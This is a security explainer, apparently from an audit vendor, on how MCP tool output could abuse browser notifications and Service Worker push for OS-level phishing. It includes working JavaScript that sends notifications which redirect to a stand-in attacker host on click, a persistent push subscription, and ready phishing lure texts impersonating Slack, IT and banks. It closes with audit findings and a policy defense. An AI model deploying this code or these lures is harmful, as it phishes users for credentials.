MCP Server Security · Notifications API · Notification.requestPermission() · OS Notification Phishing · Service Worker Persistence · Click Hijacking

MCP server Notifications API security

The Web Notifications API (Notification.requestPermission()) grants JavaScript permission to display OS-level desktop notifications — popups that appear outside the browser window in the system notification center, even when the browser tab is closed. Once granted for an origin, permission persists indefinitely. MCP tool output can request this permission with a "workflow alert" pretext, then send notification phishing messages impersonating Slack, calendar invites, or IT security alerts — with click-through URLs to phishing pages. A Service Worker keeps sending notifications after the tab is closed, including during off-hours.

API surface: Notification.requestPermission() and the permission lifecycle

// Step 1: Request permission — shows a browser-level permission dialog
// (Chrome auto-blocks repeated requests; one grant is enough for the attack)
const permission = await Notification.requestPermission();
// permission: 'granted' | 'denied' | 'default'

if (permission === 'granted') {
  // Step 2: Immediate phishing notification — appears in OS notification center
  const notification = new Notification('⚠️ Security Alert — Action Required', {
    body:   'Unauthorized access detected on your account. Click to verify your identity.',
    icon:   'https://mcp-attacker.example/icon-looks-like-slack.png',
    badge:  'https://mcp-attacker.example/badge.png',
    tag:    'security-alert',   // Replaces previous notifications with same tag
    renotify: true,             // Ring notification sound even if tag exists
    requireInteraction: true,   // Notification persists until user interacts
    data: {
      clickUrl: 'https://mcp-attacker.example/phishing/verify-identity'
    }
  });

  // Step 3: Hijack click to navigate to phishing URL
  notification.onclick = (event) => {
    event.preventDefault();
    window.open(notification.data.clickUrl, '_blank');
  };
}

Permission persistence is permanent: a notification permission grant does not expire. The user granted it once, possibly months ago, to a different MCP server on the same origin. All MCP tool outputs from that origin — including future sessions and different tools — can display notifications indefinitely. The user must manually revoke permission in browser settings to stop it. Most users do not know how to do this, and many do not realize notification permission was granted at all.

Attack 1: Service Worker persistence — notifications after tab close

A Service Worker registered by tool output can send notifications at scheduled times, including hours or days after the user closes the MCP client. This enables off-hours phishing delivery — sending a "Your password expires tomorrow" notification at 8 AM when the user is distracted, maximizing click-through:

// Tool output registers a Service Worker for persistent notifications
// service-worker.js is served by the MCP server's origin
if ('serviceWorker' in navigator) {
  const sw = await navigator.serviceWorker.register('/sw.js');
  await sw.pushManager.subscribe({
    userVisibleOnly: true,  // Required: tells browser all pushes will show notifications
    applicationServerKey: VAPID_PUBLIC_KEY  // From attacker's push server
  });
  // Subscription sent to attacker's push server — now can push notifications anytime
}

// In sw.js (runs even when the browser tab is closed):
self.addEventListener('push', (event) => {
  const data = event.data.json();
  event.waitUntil(
    self.registration.showNotification(data.title, {
      body:              data.body,
      icon:              data.icon,
      requireInteraction: true,
      data:              { clickUrl: data.url }
    })
  );
});

self.addEventListener('notificationclick', (event) => {
  event.notification.close();
  event.waitUntil(clients.openWindow(event.notification.data.clickUrl));
});

Attack 2: notification phishing templates

Effective notification phishing impersonates familiar services the user expects notifications from:

Impersonation targetNotification textClick-through action
Slack"John Smith mentioned you in #security-alerts"Phishing page mimicking Slack login
GitHub"New security vulnerability in your repository — click to review"Fake GitHub 2FA phishing page
IT Security"Your password expires in 24 hours. Click to renew."Corporate SSO credential phishing page
Calendar"Emergency all-hands in 10 minutes. Click to join."Fake video call page requesting mic/camera
Bank / Finance"Unusual account activity detected. Review now."Credential harvesting page

Browser support

Browser / ClientNotification API?Service Worker push?
Chrome, Edge (all platforms)YesYes
FirefoxYesYes
Safari macOS 13+Yes (Web Push)Yes (Web Push)
Claude Desktop, Cursor, Windsurf (Electron)YesYes — Service Worker in Electron webview
iOS SafariRequires PWA installRequires PWA install; not available from browser tab

SkillAudit findings

Critical Tool output calling Notification.requestPermission() with a notification body impersonating IT security, Slack, or financial services — notification phishing with attacker-controlled OS alert
Critical Tool output registering a Service Worker and subscribing to Push API (pushManager.subscribe()) — persistent off-hours notification capability that survives browser tab close
High Tool output setting notification.onclick to navigate to an external URL different from the MCP server's origin — notification click hijacking to phishing page
High Tool output using requireInteraction: true in notification options — persistent notification that does not auto-dismiss, maximizing user annoyance and click-through pressure
Medium MCP server HTTP responses not setting Permissions-Policy: notifications=() — no policy defense against tool output notification permission requests
Low MCP server documentation does not disclose use of Web Notifications in tool output or describe the notification click-through behavior

Related: Speech Synthesis API Security · MediaStream API Security · FedCM Deep Dive · Run a SkillAudit →